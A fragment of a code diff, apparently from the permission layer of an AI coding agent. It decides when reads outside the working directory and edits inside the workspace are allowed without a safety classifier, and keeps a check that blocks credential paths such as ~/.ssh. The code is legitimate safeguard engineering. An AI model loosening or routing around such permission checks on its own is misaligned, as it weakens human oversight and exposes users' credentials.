+ // `~/.ssh`), where no check of the named path can see them.
1302
+ const target = toAbsolute(cwd, params.resolvedSubject ?? subject, homedir());
1303
+ const searchesTree = tool === "grep" && !isRegularFile(target);
1304
+ if (mode === "auto" && fastPaths && !searchesTree && !isCredential(target) && !isCredential(toAbsolute(cwd, subject, homedir()))) {
1305
+ return { decision: "allow", cause: "outside-read" };
1306
+ }
960
1307
  return outsideWorkingDir();
961
1308
  }
962
1309
  if (AUTO_ALLOWED_TOOLS.has(tool)) return { decision: "allow", cause: "tier" };
963
- if (tier === "edit" && mode === "acceptEdits") {
1310
+ // Auto mode skips the classifier for an edit acceptEdits would allow, on a
1311
+ // model that gets Claude Code's fast paths: anywhere in the working space,
1312
+ // workspace directories and execution-primitive files included. Outside it
1313
+ // the edit is still classified.
1314
+ if (tier === "edit" && (mode === "acceptEdits" || (mode === "auto" && fastPaths))) {
964
1315
  if (subject && inWorkingSpace()) return { decision: "allow", cause: "mode" };
965
1316
  return outsideWorkingDir();
966
1317
  }